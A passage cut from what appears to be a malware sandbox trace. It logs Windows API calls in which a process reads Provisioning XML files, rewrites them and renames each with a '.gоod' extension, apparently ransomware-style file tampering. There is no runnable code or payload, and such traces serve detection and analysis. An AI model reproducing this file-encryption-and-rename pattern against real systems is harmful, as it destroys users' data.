lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3454c50*, lpNumberOfBytesRead=0x1fcee238*=0x67b, lpOverlapped=0x0) returned 1 [0119.144] CloseHandle (hObject=0x6e4) returned 1 [0120.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0120.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0120.390] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0120.391] GetFileType (hFile=0x6e8) returned 0x1 [0120.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0120.391] GetFileType (hFile=0x6e8) returned 0x1 [0120.392] WriteFile (in: hFile=0x6e8, lpBuffer=0x3523eb8*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3523eb8*, lpNumberOfBytesWritten=0x1fcee148*=0x680, lpOverlapped=0x0) returned 1 [0120.392] CloseHandle (hObject=0x6e8) returned 1 [0120.393] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0120.393] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0120.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0120.393] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43f82c8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x680)) returned 1 [0120.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0120.393] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.gоod")) returned 1 [0120.394] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0120.394] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x35251e8 | out: lpFileInformation=0x35251e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0120.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0120.394] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0120.395] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0120.395] GetFileType (hFile=0x6e8) returned 0x1 [0120.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0120.395] GetFileType (hFile=0x6e8) returned 0x1 [0120.395] GetFileSize (in: hFile=0x6e8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0120.395] ReadFile (in: hFile=0x6e8, lpBuffer=0x3525620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3525620*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0120.396] CloseHandle (hObject=0x6e8) returned 1 [0120.512] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0120.512] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.513] GetFileType (hFile=0x6e0) returned 0x1 [0120.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0120.513] GetFileType (hFile=0x6e0) returned 0x1 [0120.514] WriteFile (in: hFile=0x6e0, lpBuffer=0x359e008*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x359e008*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0120.514] CloseHandle (hObject=0x6e0) returned 1 [0120.514] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0120.515] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0120.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0120.515] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x440b3f55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0120.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0120.515] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.gоod")) returned 1 [0120.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0120.521] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", lpFilePart=0x0) returned 0x51 [0120.522] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0120.522] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.522] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0120.522] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0120.522] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0120.522] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0120.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0120.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0120.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0120.523] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", lpFilePart=0x0) returned 0x51 [0120.523] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0120.523] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.523] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0120.523] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0120.523] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0120.523] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0120.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0120.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0120.524] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0120.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0120.524] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x35adbf8 | out: lpFileInformation=0x35adbf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222)) returned 1 [0120.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0120.524] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0120.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0120.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.524] GetFileType (hFile=0x6e0) returned 0x1 [0120.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0120.524] GetFileType (hFile=0x6e0) returned 0x1 [0120.524] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0x222 [0120.524] ReadFile (in: hFile=0x6e0, lpBuffer=0x35ae118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x35ae118*, lpNumberOfBytesRead=0x1fced808*=0x222, lpOverlapped=0x0) returned 1 [0120.525] CloseHandle (hObject=0x6e0) returned 1 [0121.188] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0121.188] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0121.189] GetFileType (hFile=0x7c8) returned 0x1 [0121.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0121.189] GetFileType (hFile=0x7c8) returned 0x1 [0121.189] WriteFile (in: hFile=0x7c8, lpBuffer=0x35198e0*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x1fced718, lpOverlapped=0x0 | out: lpBuffer=0x35198e0*, lpNumberOfBytesWritten=0x1fced718*=0x230, lpOverlapped=0x0) returned 1 [0121.190] CloseHandle (hObject=0x7c8) returned 1 [0121.190] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.190] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0121.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0121.190] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4471c3ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0121.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0121.191] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.gоod")) returned 1 [0121.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0121.191] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0121.191] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.192] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.192] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f7b887, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0121.192] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 